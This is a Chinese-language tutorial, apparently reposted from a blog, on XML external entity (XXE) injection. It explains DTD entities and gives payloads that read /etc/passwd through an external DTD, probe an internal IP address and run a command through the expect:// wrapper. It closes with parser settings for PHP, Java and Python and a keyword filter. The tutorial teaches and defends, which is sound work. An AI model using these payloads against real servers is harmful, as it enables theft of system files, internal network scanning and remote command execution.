XXE--XML外部实体注入漏洞

XXE漏洞原理

XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

 

PS:php版本大于5.4.45的默认不解析外部实体

 

要了解XXE,就必须懂得XML的一些规则:

XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

 

XXE

这里我们主要需要了解的是文档类型定义,因为XXE就发生在这里,其余规则暂时不做赘述:

 

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

在DTD内,我们可以声明外部实体,语法规则如下:

内部声明实体

<!ENTITY 实体名称 "实体的值" >

引用外部实体

<!ENTITY 实体名称 SYSTEM "URI" >

注意事项:实体又分为一般实体和参数实体。
1,一般实体的声明语法:<!ENTITY 实体名 "实体内容“>
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容“>
引用实体的方式:%实体名;

 

(1)内部实体声明:<!ENTITY 实体名称 "实体的值">

ex:<!ENTITY eviltest "eviltest">

注意和DTD中的元素声明区别<!ENTITY 声明元素>

代码实例:

  1 <?xml version="1.0"?>
  2 <!DOCTYPE test [
  3 <!ENTITY writer "Bill Gates">
  4 <!ENTITY copyright "Copyright W3School.com.cn">
  5 ]>
  6 
  7 <test>&writer;&copyright;</test>
  8 

(2)外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">

引入外部参数实体outdtd.dtd文件

代码实例:

  1 <?xml version="1.0" encoding="UTF-8"?>
  2 <!DOCTYPE % test[
  3     <!ENTITY % a SYSTEM “http://www.test.com/outdtd.dtd"> 
  4     %a;
  5 ]>
  6 <test>&xxe;</test>

.dtd文件代码:(outdtd.dtd )

  1 <!ENTITY xxe SYSTEM "file:///etc/passwd">

XXE危害

  • 任意文件读取
  • 内网端口扫描(SSRF)
  • DDoS攻击
  • 命令执行

XXE利用

一:探测内网地址

利用代码如下:

  1 <?xml version="1.0" encoding="utf-8"?>
  2 <!DOCTYPE xxe [
  3 <!ELEMENT name ANY>
  4 <!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>
  5 <root>
  6 <name>&xxe;</name>
  7 </root>

二:执行命令

在Linux系统安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系命令

利用代码如下:

  1 <?xml version="1.0" encoding="utf-8"?>
  2 <!DOCTYPE xxe[
  3 <!ELEMENT name ANY>
  4 <!ENTITY xxe SYSTEM "expect://ifconfig">]>
  5 <root>
  6 <name>&xxe;</name>
  7 </root>
  8 
  9 //这里读取系统命令ifconfig读取ip

 

更多的XXE漏洞利用方法可参考:https://www.freebuf.com/articles/web/177979.html

 

XXE防御

方法一:使用开发语言提供的禁用外部实体的方法。

  1 PHP:
  2 libxml_disable_entity_loader(true);
  3 
  4 JAVA:
  5 DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
  6 dbf.setExpandEntityReferences(false);
  7 
  8 Python:
  9 from lxml import etree
 10 xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
 11 

方法二:过滤用户提交的XML数据。

关键词:<!DOCTYPE和<!ENTITY 或者 SYSTEM和PUBLIC

原文地址:https://www.cnblogs.com/LeeeBoom/p/12375460.html